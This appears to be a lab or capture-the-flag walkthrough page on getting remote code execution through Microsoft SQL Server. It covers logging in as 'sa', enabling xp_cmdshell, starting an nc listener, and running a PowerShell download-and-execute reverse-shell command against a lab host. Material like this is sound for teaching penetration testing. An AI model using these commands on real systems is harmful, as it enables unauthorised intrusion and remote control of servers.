> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ports-and-services/mssql-1433/mssql-exploitation-rce.md).
# MSSQL - RCE Exploitation
MSSQL remote command execution through mssqlclient.py, xp\_cmdshell, hosted PowerShell payloads, and reverse shells.
## MSSQL Exploitation (Microsoft SQL)
**Port 1433 (MSSQL)**
Port 1433 is open, indicating that a Microsoft SQL Server is listening. Test access with the users recovered during enumeration.
**MSSQL connection test**
Use `mssqlclient.py` to try to connect:
```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```
**Result**: Only the `sa` user works.
```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```
### Reverse Shell via MSSQL
**Enable command execution**
To execute system commands, enable `xp_cmdshell`:
```sql
enable_xp_cmdshell
```
Then test with a simple command, such as `ipconfig`:
```sql
xp_cmdshell ipconfig
```
**Preparing for listening on our machine**
Start a listener on port 4444:
```bash
rlwrap nc -nvlp 4444
```
**Downloading a PowerShell script**
Prepare a PowerShell script named `PS.ps1` that includes a reverse shell function:
{% embed url="" %}
At the end of the script, add the following line:
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```
Host this script on a local web server:
```bash
python3 -m http.server 80
```
**Reverse shell execution**
From the MSSQL server, run the following command to download and execute the PowerShell script:
```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```
---
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